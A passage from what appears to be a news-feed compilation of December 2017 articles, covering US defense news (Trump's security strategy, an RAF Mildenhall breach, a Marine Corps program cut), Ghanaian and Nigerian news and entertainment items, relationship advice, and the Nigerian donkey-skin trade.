Rep. Mac Thornberry, R-Texas, chairman of the House Armed Services Committee, quickly endorsed Trump's vision while warning about the politics of the costs. He said in a statement: "This strategy is a good start, but only sufficient funding for our military can make it real."

To achieve the goals outlined by the president, "Congress has to stop asking our military to do more with less and pass adequate and reliable funding for our troops," Thornberry said.

At the Pentagon, Defense Secretary Jim Mattis backed Trump's plan, saying that it "provides our nation a clear and comprehensive strategy to address the security challenges that America faces."

In a statement, Mattis also stressed his long-held belief that the first choice of the military in any potential conflict was to support diplomacy.

"As the world's most lethal armed force, the men and women of the United States military ensure our diplomats always speak from a position of strength," Mattis said.

Much of the new strategy embodied Trump campaign themes -- building a border wall, achieving energy independence, rejecting unfair trade deals and climate change, and putting a halt to "nation building" as a component of military interventions.

The foundation of national defense rested on prosperity at home, Trump said in singling out what he called the failure of the Obama administration to recognize that reality.

"To seize the opportunities of the future, we must first understand the failures of the past," Trump said in his address at the Ronald Reagan Building and International Trade Center.

"For many years, our citizens watched as Washington politicians presided over one disappointment after another," he said.

"Our leaders in Washington negotiated disastrous trade deals that brought massive profits to many foreign nations, but sent thousands of American factories, and millions of American jobs, to those other countries," he said.

His election had altered the dynamic, the president said. "Last year, all of that began to change. The American people rejected the failures of the past. You rediscovered your voice and reclaimed ownership of this nation and its destiny," he said.

"Upon my inauguration, I announced that the United States would return to a simple principle: The first duty of our government is to serve its citizens, many of whom have been forgotten. But they are not forgotten anymore. With every decision and every action, we are now putting America first," Trump said.

"We are rebuilding our nation, our confidence, and our standing in the world. We have moved swiftly to confront our challenges, and we have confronted them head on," he said.

Trump's address was backed up by a 70-page paper released by the White House giving detail to the new strategy.

In personally outlining the plan, Trump broke with the practice of his predecessors Barack Obama and George W. Bush. They chose simply to issue the paper mandated by Congress, and did not make a speech to promote it.

The Trump document stated China and Russia "are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence."

"These competitions require the United States to rethink the policies of the past two decades -- policies based on the assumption that engagement with rivals and their inclusion in international institutions and global commerce would turn them into benign actors and trustworthy partners," the Trump strategy said.

The document, already being called the "Trump doctrine," stated that "for the most part, this premise turned out to be false."

In the document and in his address, the president said his granting of more authority to field commanders led to the "crumbling" of the so-called caliphate of the Islamic State in Iraq and Syria, or ISIS.

"We're now chasing them wherever they flee, and we will not let them into the United States," Trump said of ISIS fighters.

On Afghanistan, Trump said, "Our troops are no longer undermined by artificial timelines, and we no longer tell our enemies of our plans. We are beginning to see results on the battlefield."

On North Korea, the president said his policy "has resulted in the toughest-ever sanctions. We have united our allies in an unprecedented effort to isolate North Korea."

"However, there is much more work to do. America and its allies will take all necessary steps to achieve a denuclearization and ensure that this regime cannot threaten the world," he said.

"This situation should have been taken care of long before I got into office, when it was much easier to handle," he said. "But it will be taken care of. We have no choice."

-- Richard Sisk can be reached at Richard.Sisk@Military.com.
U.S. personnel fired shots at a vehicle that drove past a checkpoint Monday and came close to a V-22 Osprey tilt-rotor aircraft at Royal Air Force base Mildenhall in Britain, British authorities said.

The base in Suffolk on Britain's east coast, about 97 miles northeast of London, was temporarily put on lockdown over the "significant incident," but British police later said the security breach was being treated as an act of "trespass" and not terrorism.

Superintendent Kim Warner of the Suffolk Police said that a 44-year-old man driving the vehicle who was not further identified was arrested after the vehicle was stopped by U.S. security, the BBC reported.

Earlier, Suffolk Police issued a statement saying "Shots were fired by American service personnel and a man has been detained with cuts and bruises and taken into custody."

The vehicle was finally stopped near a V-22 Osprey aircraft on the tarmac, the BBC said. It was unclear whether the Osprey was an MV-22 flown by the Marines or an Air Force CV-22.

U.S. Air Force aerial refuelers are based at Mildenhall, and U.S. Special Operations forces are also believed to use the base.

RAF Mildenhall and RAF Lakenheath, another nearby base used by the U.S. Air Force, have both been subjected to terror threats over the past few years, according to Sky News.

Last year, a British-born "committed supporter" of the Islamic State of Iraq and Syria, was sentenced to life in prison for planning a terrorist attack on five bases used by the U.S. Air Force in Britain, including RAF Mildenhall.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.
In a push to build its modernization budget and invest in new technologies, the Marine Corps has hauled at least one program of record to the curb -- and is looking for more to cut.

The Corps has already divested of the 120mm Expeditionary Fire Support System to make way for other capabilities, Lt. Gen. Robert Walsh, commanding general of Marine Corps Combat Development Command, told Military.com in an interview.

The EFSS, fielded in the early 2000s, was designed to be extremely portable, small enough to be towed by an all-terrain vehicle that fits easily inside an MV-22 Osprey.

Made by General Dynamics, the full system weighs roughly 18 pounds and can fire high-explosive, smoke and illumination rounds. The system was fired in combat for the first time in 2011.

The news that the Marine Corps is cutting ties with the program is something of a surprise, considering the service was in the process of acquiring a new round: the Raytheon-made GPS-guided precision extended range munition, or PERM, expected to increase the accuracy of the system and extend its range from roughly five miles to 10.

In 2015, Raytheon inked a $98 million contract with the Corps for the delivery of PERM; the round was to have been fielded to Marine units next year.

But Walsh said the Marine Corps is working to extend the range of its artillery arsenal, particularly its M777 howitzer. With its limited range, the EFSS may not be well suited to what Marine leaders perceive as the Corps' future mission.

"We made that decision to divest of it, and we're going to move that money into some other area, probably into the precision fires area," Walsh said. "So programs that we see as not as viable, this [program objective memorandum] development that we're doing right now is to really look at those areas critically and see what can we divest of to free money up to modernize."

Walsh said the Marine Corps wants to see a boost of about 5 percent in its modernization budget. The just-passed Fiscal 2018 National Defense Authorization Act included a modest bump in procurement, with much of the additional money earmarked for investment in ground vehicles.

As the Corps plans for 2020 and beyond, Walsh said the service is looking inside the organization to find savings and "investment trade-offs" in order to get the money it needs.

While Walsh said he could not yet identify other Marine Corps programs that had been marked for divestiture, he noted that operations and maintenance funding may also be examined in order to move more money into modernization.

"The commandant has told us ... I wouldn't say that he has modernization over readiness -- readiness is important -- but he's told us to look real hard at our ops and maintenance accounts that aren't tied specifically to unit readiness," he said.

"We can look ... to determine across the [Marine Air-Ground Task Force] where we can find money and move it into the modernization area to get that slope up higher within the Marine Corps," Walsh said.

-- Hope Hodge Seck can be reached at hope.seck@military.com. Follow her on Twitter at @HopeSeck.
After his service as a military policeman, Army veteran and Redline Steel CEO Colin Wayne served as a Department of Defense contractor, and was even injured during a rocket attack in Afghanistan. Did that stop him? Hell no. Wayne has gone on to found Redline Steel, which has become the largest customized home decor steel manufacturer in the United States.

Adapt, Improvise, Overcome

After his injuries in Afghanistan, Wayne slogged through six months of excruciating physical therapy, followed by what he describes as several notable successes and failures as an entrepreneur. These trial-by-fire experiences taught him the value of adapting quickly to a variety of situations -- and then things took an unusual turn.

While searching for a unique gift for his son, he noticed the business potential in the wall-art decor market and looked to seize the space by cutting steel. Thus Redline Steel was born.

Starting a home decor manufacturing company is a formidable task but Wayne did so with Army grit and a plan of attack that made his operation more efficient and cost-effective than his competitors.

His first contract was with fellow Army veteran Daniel Alarik CEO/Founder of Grunt Style, who was interested in purchasing 500 AR-15 rifle wall-art in assorted colors. This provided some working capital needed to grow and scale the business without getting an investor.

Today, Redline Steel combines fine art with raw metal, offering something for everyone, whether its newlyweds, pet owners, or freedom loving patriots. The company features custom options for many of its products and even has a selection of items for under $20.

In less than two years, Redline scaled to a 52,000 square foot facility and now has more than 35 employees. They are projected to hit $40 million in revenue in 2018.

Veteran Employees Get Er Done

I prefer to hire veterans based on their shared core principles and values, says Wayne.

Its no wonder Wayne prefers veterans. When a company has a clearly defined mission and objectives, veterans work to exceed mission goals and expectations. Its in veterans DNA to get er done.

Many great military leaders began their careers as lowly privates, learning how different roles fit together as part of a finely-tuned machine as they moved up through the ranks. Wayne adopted a similar strategy. Everyone starts at entry level and is promoted internally. By rotating through each role, new employees learn not only the skills for their job, but also learn how the other positions within the company interact and support each other. This creates a happy and productive environment, because every person understands the complexities of each role.

Says Wayne, My vision for the company is [that it] will be a billion dollar company within the next five years.

Waynes 3 Takeaways for Building A Thriving Business

1. While having every new employee rotate through all of the entry-level roles in your company may not make sense for every business, having some cross-training and an understanding of other departments will result in higher workplace morale, communication, and employee ownership in their jobs.

2. Share your successes with your team. They are the ones getting dirty day in and day out, and ultimately will determine the satisfaction of your customers. If they arent happy, your customers will end up unhappy as well.

3. Build your team, support your team, and ensure they are in the best possible position for themselves. If they are a great employee, but unsuccessful in their current role, look around and see if there is a better role for them before cutting them completely.

Redline Steel is a custom steel manufacture inspired by design and relentless innovation to bring a level of quality unprecedented to what's been seen in home decor. They are proudly Veteran-owned and Operated and 100% Manufactured in the United States.

Jessica G. Tabbert is a veteran of the U.S. Army and U.S. Air Force Reserve, a military spouse, mother of four, and Chief Everything Officer at J. Gisele.

 Sean Mclain Brown can be reached at sean.brown@military.com. Follow him on Twitter at @seanmclainbrown.
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Nollywood actor Samuel Ajibola on Tuesday, December 12, 2017 met with hundreds of students; motivating them.

He also donated several stationery items to the school named STC, situated in Ojuelegba area of Lagos.

This comes as a CSR effort under his Samuel Ajibola Foundation, which is aimed at bettering the lives of young Nigerians,

Samuel spoke extensively on the importance of education and why it is really a necessity for the students to read lots of informative books which will help improve them.

The students who were apparent fans of the actors character in the popular TV series The Johnsons were so keen on finding out whether or not he sought admission into a higher institution or if he just stumbled into acting.

They also asked if his parents were in support of his choice of career.

The Future Awards nominee took his time to narrate his life story and how he got into Nollywood.

He also stated that he was lucky to have gotten approval from his parents.

Speaking on the idea behind his foundation, Samuel Ajibola remarked; The need to inspire the younger ones has always been something I wanted to do.

These kids are the future leaders and as such, they need all the motivation and support they can get. If sharing my personal story with them and having a chat with them about life issues can help get them ready, why not?

The Samuel Ajibola Foundation aim to help them understand the importance of education and the need to pursue not just any career, but one they have a strong passion for, he said

Inside sources say that the foundation is set to visit several other schools in Lagos to show the same support and love.

At the end of the talk session, the students and teachers expressed their gratitude and also took pictures with the actor who in return provided them with stationeries.
Kisa Gbekle

19.12.2017 LISTEN

Actress Kisa Gbekle last week engaged in a high speed chase with robbers who attempted snatching her unregistered 2015 model Sonata around Dome, a suburb of Accra.

Kisa was returning from a movie set at about 2:00am when the incident took place, but she managed to get away from her attackers.

She confirmed the robbery attempt to NEWS-ONE and said the incident took place along the Atomic road to Dome roundabout road.

Kisa narrated that she was followed until she decided to stop at a food joint, where there were guys and shouted for help before she was saved.

We closed on set late by 1:20am because we were finishing up the job. I always go with a male colleague who stays at Haatso Total. So after work, we passed Coco Vanilla for 10 minutes and then we used the IPS road.

On the Haatso road, the police barrier wasted like 20 minutes of our time before my friend got down at the Haatso Total. So on my way, I saw this red Matiz car that overtook some cars and then came ahead of me.

At that time, I was still playing with my phone. So on getting to the beginning of the Atomic forest, the red car was slowing down but wasn't showing any sign on which side it was going, the actress disclosed.

She continued, Then I overtook it and some two other cars. Then I saw there was a car that overtook those cars and following me with same speed. But I didn't know it was me they were following, so I passed the Atomic Police Station and on reaching the first rump, they came so very close with a speed. Then it triggered me that they may be following me.

So I accelerated to 80, 90,100, and they did same and we entered a sharp curve at the Kwabenya Domi roundabout. The road was very bad there; I didn't slow down at all. I maintained my speed, they kept following. I overtook some cars and they did as well, she narrated.

Kisa mentioned that upon reaching another small roundabout ahead, there was traffic so I didn't join the cars, I took the wrong road and entered my lane again with speed and they also kept coming. Then I parked in front of one woman who does Indomie around."

"God being so good, there were some guys there and I started shouting, 'they are following me'. 'That car is following me'.. and was pointing at them. Then the cars we overtook at the roundabout followed them to where I was parked.

They didn't know what to do so, they slowed down and driving at a very slow pace. And the one driving was a very huge macho. He gave me a very mean look when I was screaming, she added.

The actress identified the car as a white Honda but could not identify its registration number.

It is about the third time Kisa has been attacked by robbers. The first time, they broke into her apartment and went away with her goodies while she was at church.

The second incident was when robbers again broke into her car and make away with jewellery and other valuables.
Pipigee Promotions, Oganisers of the prestigious awards scheme, Nzema Showbiz Awards, has announced Abdul Rasheed Seidu Bawa known in showbiz circles as Hon. Bawa and versatile female personality, Ophelia Ndarko as hosts for the maiden edition of the 2017 awards night.

Hon. Bawa started his earlier career as a disc jockey somewhere in the capital city, Accra where he played at major clubs, events and pubs until he was discovered as a great talent and enrolled in a media school.

Due to his prowess right from school he got employed at Kantinka FM in Agona Swedru of the Western Region where he hosted 'Hyedzen Dwemadie and Prayer' Hours

He later moved to Jomoro District of the Western Region and joined Hope 107.1 FM as their Drive Time show and Rap Mania host fast forward 2016.

Hon. Bawa retuned to Swedru this time around he joined Enuanom 105.1 FM as the host of their Flagship mid morning show, Edwuma Mu Enigye on weekdays and Weekend Citi Jam on the weekend.

Ophelia Abenlema Ndako, a modest, hardworking and a go getter.

She once described herself as one who is able to control situations rather allowing it to control her and a positive thinker, who always try her best to execute any difficult task and one who takes responsibilities for her actions, when things goes wrong than blaming others.

Nzema Showbiz Awards aims at rewarding showbiz personalities who have over the years worked to project the image of the Nzema land and still continues to sell Nzema through their daily activities.

This year's awards is under the theme "rewarding socio - cultural drivers".

The Nzema Showbiz Awards will come off on December 30, 2017 at Big Spoon Social Center at Esiama in the Ellembelle District of the Western Region.

The awards is powered by Ultimalt, MTN Ghana, MUSIGA media partners georgebriton.com, West FM, Hope FM, New Day FM, Westend Radio and Ankobra FM.

Source: ghnewsfilla.blogspot.com
Photo credit - Pinterest

19.12.2017 LISTEN

Why talking to your partner about your exes could be a good thing and tips to help have a succesful chat about your exes.

Dont ask a question you dont want the answer to.

If knowing about each others sexual history is going to make you feel uncomfortable or insecure, dont talk about it. What happens between you two matters the most, so place value in your current intimacy.

Dont compare yourself to the exes.

In the world of social media, all you need is a persons name to discover what they look like, how they dress, where they went to school, etc. But none of that matters. Your partner is with you now because it didnt work out with their ex. Youre obviously more amazing than the ex is.

Preface your questions.

Why talking about your exes could be a good thing

Sometimes, the question doesnt matter as much as why youre asking the question. Do you want to know about the past in order to get to know your significant other on another level, or are you looking for drama?

Be willing to have a safe space.

Not all relationships get the closure they need, and sometimes feelings from your past relationship can stay with you. I dont necessarily mean that you still have feelings for the person (thats another issue entirely), but maybe youre watching a movie that reminds you of something tough from your past relationship. You want to be able to safely and openly talk about it with your SO without making them feel insecure.

Be careful not to over-share.

While its good to let your current partner know what you experienced and learned in past relationships, its also very important to keep your focus on the present relationship. Thats your priority. Dont let yourself get caught up in the past wondering what could have been. Be present with your partner and intend to build what you have together.
Know the Red Flags

Do you always end up apologizing for your actions even when you know you did nothing wrong? Do you always end up giving in to your partner? Does your partner or spouse never take no for an answer? All of these are signs that you are being manipulated emotionally.

Manipulators don't always use violence, direct threats and intimidation to control you. Often, they use your emotions of fear, guilt, duty and pity to get their way. Analyze your relationship and ask yourself if you often give in to your partner's wishes out of guilt or duty. Keep a mental record of how often you have to make sacrifices for your partner and how many times he accommodates your needs. In relationships with emotional blackmail, you will find this list to be very unequal.

Understand The Tactics

Understanding how your manipulator is preying on your emotions to control your actions is the first step in regaining control.

In their book "Emotional Blackmail," Susan Forward and Donna Frazier explain that manipulators often use a tactic consisting of fear, obligation and guilt (FOG) to get what they want. Blackmailers use FOG to make you fear angering or disappointing them, obligated to meet their demands, and guilty if you don't comply. They use these tactics to appeal to your emotions, make their demands seem reasonable, and make you seem selfish if you don't give them what they want. Next time you are resistant to your partner's requests and end up giving in, determine if he used FOG techniques to influence you. Try to use a perspective from someone outside of your relationship to shed light on the behaviors used.

Learn To Say No

The people that struggle with saying "no" are usually the ones that find themselves trapped in unwanted situations.

If you want to put an end to being emotionally manipulated, then you have to learn to say "no. " Learn to get comfortable with the word by rehearsing saying "no" to different situations when you are alone. Think about what words and what tone of voice you would use. Saying "I don't. . " rather than "I can't. . . " can be more effective in preventing you from giving in, found a study published in the August 2012 issue of the Journal of Consumer Research. Researchers from the University of Houston and Boston College asked 120 students to use either "I can't" or "I don't" when they were tempted with unhealthy foods and found that those that said "I don't" were less likely to fall into temptation. Choose words that reflect empowerment to help you feel more in control of your situation. Your manipulator will also feel less compelled to put pressure on you when he or she can perceive that you will not be easily dissuaded.

Establish Boundaries

When your personal priorities become more important to you than pleasing other people, you will no longer fall prey to emotional manipulation.

"Value your own wants and needs and preferences. Set boundaries that dont allow others to invalidate you, put you down, or ignore what is important to you," recommends therapist Margalis Fjelstad in her Psychology Today article "When Relationships Are Based on Manipulation. " Think about your wants, needs and goals in life. When your partner is making a request that is making you feel uneasy, ask yourself if meeting this demand requires compromising some of these priorities. Keep in mind that although you love your partner very much, you need to look out for your own well-being first. Share your personal priorities with your partner so she knows where you are willing to compromise and where you draw the line.
This is probably a question we may have asked ourselves to ascertain the prose and cones of the new media age. It is a world of click, #hashtags, and follow. According to useoftechnology.com, technology is a body of knowledge devoted to creating tools, processing actions and extracting of materials. Basically, we use technology to extend our abilities to solve a problem.

Technology is an extended term for information technology (IT) which stresses the role of unified communications and the integration of telecommunications (telephone lines and wireless signals), computers as well as necessary enterprise software, middleware, storage, and audio-visual systems. It enables users to access, store, transmit, and manipulate information.  Wikipedia

The term Technology is wide and everyone has their own way of understanding the meaning of technology. Its importance can never be over emphasized. In todays world, technology has significant effect on business operations, no matter how small that business is. Its tangible and intangible benefits can help you make money and satisfy the needs of your customers.

Be it communications, security, operations or finance, technology makes it extremely easy to accomplish tasks that will require time and energy. Today, businesses can save time and money by using technology to perform certain tasks that would have required human energy. When you compare the amount of money spent on hiring an individual to perform a certain task and to guarantee delivery on time, we can say technology is a stress reliever.

With new media technology, a simple task is accomplished with a click. Small businesses can scale out and deliver more with less human resource because of technology. Decades ago, a grandmother would never have taught there could come a time, she could place a voice call to reach her son, nor get her water boiled by simply pressing a bottom.

Technology indeed came for the young and old, however it depends on how fast one adapt to its fast evolution. Good or bad, technology has come to stay. It is therefore essential to move with the pace as technology advances. Other than that, one might fall out of business if its operation systems do not conform to latest updates.

Currently, there are over 3 billion social media users in the world. Not because they are all educated enough to be there but because technology teaches them faster than their formal education. An uneducated person can literally make good use of technology without necessarily been schooled. That is because most technologies are user friendly.

Statistics shows that 40 percent of the global population have either a handset, computer or a technology of a sort that enables them reach a wider audience at a time. This means that technology might be expensive to some people but equally cheap to them that reap bountifully as a result of it.

Jumia, an e-commerce platform that enables shoppers to shop online, is a testimony to the effectiveness of technology. Jumia has 126 operations in 23 Africa countries with about 3 million customer base and still counting. This great feat was possible because Jumia realized the adverse impact of technology in todays business.

Gradually, more and more people are moving from the offline bricks and mortar stores to an online shop where items are shipped and delivered at their door step. Jumia Ghana get in contacts with potential clients every day as a result of new media tools such as Xcally, Seller center, OMS, Delivery Manager and HMT.

With social media tools, companies connect with digital customers on a speed dial and monitor a progressive participation of their online events. Many African businesses could do much; effortlessly because technology is being utilized in the most efficient way. For e-commerce businesses in Africa, technology is the center drive to achieving great feat.
Some stakeholders in the northern part of the Western Region, have told Citi News that the need for the region to be split to have a Western North Region is non-negotiable.

According to them, the factors underpinning the request are valid enough, and that the people in the northern part of the region have had to suffer for long, saying the only the problem could be addressed, is for a new region to be created.

The nine Member Commission of Enquiry collating views on the creation of new regions, took its consultative exercise to the Sefwi Wiawso Municipality, where the views of stakeholders from the Akontombra, Bodi, Sewfi Juabeso and Sefwi Wiaso districts were sought.

The demand for the split was in those areas, was so intense with news jingles and other forms of commercial advertisement being aired on some radio stations there.

Flyers and stickers have also been pasted on available spaces with banners erected in populated areas in Sefwi and other communities.

At the forum held on Saturday December 16, a midwife, Mary Araba Aggrey, recounted how she lost a mother and her baby due to the difficulty for health workers in the northern part of the region to access the regional referral hospital at Sekondi.

She narrated to Citi News that A woman delivers at 24 weeks. That is pre-term delivery. We have incubators alright, but there are other things that we need to give to the baby so it lives, and because we are not having these things, the baby should be transferred to Takoradi or Kumasi. Along the line, we lose the baby. At times mothers may be bleeding, and we have to transfer them. But you see, nobody should deliver and die.

Mrs. Aggrey, who is also a women's advocate, also mentioned that  I had a client who crosses a river before they come to seek health care. One day she came, but I recommended she stays, but she said she would want to go home and prepare. On her way back, she started bleeding. She had to use a canoe to get to the next village. In the canoe, she delivered but the mother died. So they brought her and the baby but the baby couldn't also survive.

She concluded that if we get this Western North Region, where we could also have our regional hospital with our facilities, we can avoid some of these needless deaths.

The Municipal Chief Executive for Sefwi Wiawso, Louis Owusu Agyepong, also bemoaned the citing of the present day capital which is at the extreme down-south of the region, making it impossible for those in the north to do business with the regional capital in a day.

Besides, there is no region in Ghana that citizens are not able to access its capital and return in a day. But that is the situation in the Western Region. That is fundamentally because of the original location of the capital, Sekondi Takoradi. It is twelve hours to the capital, and 12 hours out. Those affected largely are those from the Bia East and West, coupled by their terrible road network.

Mr. Agyepong concluded that so the call for the split, is out of all other considerations but necessary. We have the population, we have the resources, we have the land size and all other things we need to meet the requirement. The split is non-negotiable because we think that is the only way per our understanding and observation; the Western North can develop. It's not negotiable!

By: Obrempong Yaw Ampofo/citifmonline.com/Ghana

The post Western North Region is non-negotiable  Residents appeared first on Ghana News .
A group calling itself, Concerned Importers Association of Tema Harbour (CIATH) has called on the government as matter of urgency sack four officials of the Custom and Excise Preventive Service (CEPS) from the Harbour for involving in corrupt acts.

In a petition issued on Monday, December 18, 2017 and signed by its Public Relations Officer (P.R.O), Mr. Kwesi Botwe indicating that the four CEPS Officials at the Harbour are engaging in certain irregularities and illegalities in the Custom Division hence their acts are making the state losing more revenues.

The CEPS Officials in alleged corrupt acts are; Mr. Felix Kojo Mante (CEPS Officer at the Headquarters), Mr. Yankyera (Rtd. Commissioner Customs but now Technical Advisor to the GRA boss), Madam Akoto Bamfo (Operations Manager CEPS Tema) and Mr. Ahmed (Clearing Agent).

Mr. Botwe has accused them of collecting monies by way of bribe from some companies and individual importers and promising those companies to help them evade taxes from the Harbour.

According to him, "In a recent incident, the above mentioned Officials went to a company with registration name 'White Frozen Foods' and told them to pay some amounts of money to them (Bribe) and they promised them to help them evade taxes and also fast forward their clearing processes.. said company, is a company which pays about 31 million Ghana Cedis to the government as tax, in every two months but these Officials told the company to pay bribe to them and in return help them to evade their taxes.

He lamented that the said huge amount of money if collected lawfully could have been helping the government to facilitate and finance its policies.

The group is, therefore, calling on the government and for that matter, President Akufo-Addo to investigate them and subsequently terminate their appointment immediately and also prosecute them to serve as a deterrent to others at the Harbour.

Below is the full petition

*Petition of Concerned importers Association of Tema Harbour.*

Addressed to His Excellency, Nana Addo Dankwah Akuffo Addo President of the Republic of Ghana

CC : The Vice President of The Republic of Ghana Dr. Bawumia

Commissioner General of Customs Division. Mr. Kofi Nti.

*Corruption and Illegal practices at CEPS*

*Statement of petition*

It has come to the notice of we the concerned importers of Tema Harbour that, the practices, acts and omissions of some officials of the Custom and Excise Preventive Service are illegal, unlawful and in contravention with laws of our land.

*Mr. Felix Kojo Mante ( CEPS officer at the Headquarters)*

*Mr. Yankyera (Rtd. Commissioner Customs but now Technical adviser to the GRA boss)*

*Madam Akoto Bamfo (Operations Manager CEPS Tema)*

*Mr. Ahmed ( CEPS officer in charge of clearing)*

The above mentioned well known CEPS officials are engaging in certain irregularities and illegalities in the Custom division.

The above-mentioned officers have failed to be diligent in their service and engage in acts such as *collecting monies by way of bribe from companies and individual importers and promising them to help them evade taxes (Tax fraud).*

In a recent incident, the above-mentioned officials went to a company with registration name "White Frozen Foods" and told them to pay some amounts of money to them ( Bribe) and they promised them to help them evade taxes and also fast forward their clearing processes. The said company, is a company which pays about 31 million Cedis to the government as Tax. In every two months.

This is undoubtedly a huge amount of money which the government could use to facilitate and finance it's policies.

But, the officials

*Mr. Felix Kojo Mante ( CEPS officer at the Headquarters)*

1. *Mr. Yankyera (Rtd. Commissioner Customs but now Technical adviser to the GRA boss)*

2. *Madam Akoto Bamfo (Operations Manager CEPS Tema)*

*3. Mr. Ahmed ( clearing agent)*, told the company to pay a bribe to them and in return help them to evade their taxes.

Subsequently, the company rejected and declined to this offer.

The company, after rejecting this unlawful offer, has been threatened and witch-hunted by the above officials to collapse their business and make things tough for them at the CEPS. (Tema Harbour) and also, we can attest to the fact that, the above-mentioned officials have taken steps in collapsing the companies which have rejected and declined to similar offers by these officials.

However, it is evidentially clear that, some other importers and exporters have accepted this illegal offer and instead of paying monies to the Ghana Revenue Authority as tax, they rather pay these huge monies into the accounts of these officials. That is to say that, the CEPS officials have succeeded in evading these companies from paying their taxes.

It is rather unfortunate that, individuals and companies who want to see this nation develop and be part takers by way of paying their taxes duly and regularly and not spectators as the president said, are now being witch - hunted and threatened of collapsing their businesses

Recently, on July 15 2017, 50 officials of CEPS where interdicted by the government for similar offences committed. It was established after investigations that, these officials had succeeded in gaining more than 1.2 billion CEDI's personally at the detriment of Ghanaians and the government.

It may be too great to human frailty if we allow these officials to still hold sensitive offices in the CEPS.

We suggest that, the acts above mentioned officials at CEPS should be investigated and their appointment subsequently terminated immediately because we strongly believe that, the acts of these officials are even making the government lose more funds ( taxes) than the previous interdicted stuff.

Finally, if the government in any way fails to punish and terminate the appointment of these officials and they still remain in office and continue to persecute us in the name of the state for being law-abiding citizens, then we promise to also corporate with them at the detriment of government and the state at large.

PRO for Petitioners

(Mr. Kwesi Botwe)

Source: Daniel Kaku
Teach the child the way he should live that when he grows he would not depart from it.

Catch them young and they shall be yours forever are always phrases that come to mind when it comes to child development.

Established in April 2016, REMALJ JOLLY READING CLINIC is an NGO established to help in the literacy training of children at very tender ages.

Founder of REMALJ JOLLY READING CLINIC, Mrs. Emefa Gyamfi, an Educationist with Ghana Education Service Prestea Huni Valley Municipal Assembly as the Private Schools Coordinator disclosed at the 2017 JOLLY READING FESTIVAL that the institution has it at heart to develop the literacy foundation of children in the District.

"As an educationist, I have observed that literacy is a very big problem in our schools. You will be surprised that children who are even going to write in the BECE find it difficult to read, understand and construct good grammar in answering the questions.

Since we started teachers from both private and public schools have received training which is yielding results", she explained.

She added that "About eighty (80) children have enrolled so far and as you can see here today, children of as low as three years are able to read and form words with letters".

According to her, "We hope to extend the knowledge to as many teachers in the Western Region to help raise the standard of Education in the westside.

The school project will be ready at Bogoso-Anikoko by 2018 and parents will have the opportunity to enrol their kids to also enjoy such an amazing teaching and learning approach".

The District Director of Education, Madam Francisca Mwin-Ira praised the thought bearers of such an initiative in training children.

"It is a step in the right direction when the child can read, write and understand the English Language it makes teaching and learning in the rest of the subjects very easy since all subjects are taught in English

God will bless you for your love for children", she applauded.

Present at the occasion were, Mrs. Philipa Varies - Vice-President, Corporate Responsibility, Golden Star Resources), Mr. Emmanuel Aborampa - Group Operations Manager, Technical Services, Golden Star Resources Very Rev. Felix K.N Asiamah- Superintendent Minister, Methodist Church, Bogoso, Mr. Samuel Tutu-Ani, Deputy Coordinating Director, Prestea Huni - Valley Municipal, Madam Aba Quansah-Basic Schools Coordinator, GES PHED, Mr. Rodney Oddoye- Finance Manager, Golden Star Resources, Bogoso.

The theme for the festival was under "Literacy, Firm Foundation for Academic Excellence ".

Source: Daniel Kaku

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The Minister for Gender, Children and Social Protection, Otiko Afisah Djaba, has strongly condemned the behaviour of the four young men who gang-raped a young girl in Ashanti Region.

The Minister has also condemned the circulation of the video which has gone viral on social media by some section of the media and other individuals.

Otiko Djaba noted that the show or circulation of the nude video does not only further violates the human rights of the girl (victim) but also exposes her nakedness, dents her integrity and can trigger stigmatization.

I take this opportunity to condemn in no uncertain terms, the rape incident involving a young girl which is going viral on social media. I am very sad and feel disappointed that a young Ghanaian girl will suffer this wicked act from those young guys. This criminal and the law must deal with them.

Speaking at the National Stakeholder Consultative Workshop to Validate the Draft Social Protection Policy Implementation Plan in Accra, Otiko Djaba, also a mother of four, maintained that it is totally unacceptable for any Ghanaian child to undergo any form of abuse such as rape, defilement, assault or trafficking.

She, therefore, charged the Police in Ashanti Region to go after all the four rapists and bring them to book.

Commending the Police for the steps taken so far, the Minister for Gender said that arresting and prosecuting perpetrators of crimes would bring sanity and discipline in the society.

According to her, the incidences of rape and defilement were becoming rampant in Ghana and called on all Ghanaians to join the Ministry of Gender, Children and Social Protection to condemn the behaviour of the four boys and also ensure that women and girls are protected in society.

She entreated the police to equally arrest people who would attempt to circulate or spread the video of the young girl on social media or on any media platforms.

Story by Ghana | Myjoyonline.com
Abubakar Ya'u digs sand from vast, sweeping dunes and loads heavy hessian sacks of the fine, golden bounty onto the backs of donkeys which carry it to market.

Rampant demand for the beasts of burden in China, where their skins are believed to have medicinal properties, has caused prices to soar -- creating a dilemma for Ya'u and his fellow excavators in Kano, northern Nigeria.

"Two years ago we were buying donkeys strong enough for our trade for between 15,000 and 18,000 naira (between $42 and $50) -- but now to get a good donkey you will require 70,000 to 75,000," he said, wearing dusty sandals, jeans and a T-shirt.

"The reason for this is the huge purchase of donkeys which are transported to the south where their meat is consumed and their skin exported," he explained.

"To us, it is a calamity because as a sand digger if you lose your donkey, you can hardly raise the money to replace it."

Fellow sand digger Abdurrahman Garba, who has been in the business for 30 years, added that export bans by some of Nigeria's neighbours had made the situation worse.

'Alarming rate'

"Now that Niger has banned donkey exports to save its stock, the Chinese have turned to our stock -- depleting them at an alarming rate," said Garba, 40.

Botswana, Senegal, Mali, Burkina Faso and Gambia all impose restrictions on the trade, while Zimbabwean authorities blocked a private donkey slaughterhouse under construction and Ethiopia closed its only functioning abattoir.

Garba admitted that the temptation to sell the animals for short-term gain could be overwhelming.

"I was offered 95,000 naira for my biggest donkey but I fought hard to resist the temptation to sell it because I knew I will not be able to replace it," he said. "We blame the Chinese for this disturbing situation."

The animals are increasingly being transported, sometimes covertly, from Mali, Niger, Burkina Faso and northern Nigeria to the southeast where they are then typically slaughtered.

A man leads donkeys to the abattoir in Ughelli, where their hides are skinned for sale. Uses are found for all the flesh and bones. Many beasts are smuggled from countries that take measures to prevent the illicit export trade

Donkeys are relatively cheaper in the Muslim-majority north as they are typically not slaughtered for their meat, tempering demand.

But the north-south trade route for donkeys was already well established as consumption has traditionally been relatively high in the south where some communities have long eaten the animals.

At a market in Ughelli, Delta State -- the centre of the Nigerian donkey trade -- hundreds of donkeys are crammed into pens under the burning sun as they await their fate. Some are skeletally thin, all are quiet.

New animal pens are being made every month as the demand for donkey hides and meat is met with an steadily growing supply from the north.

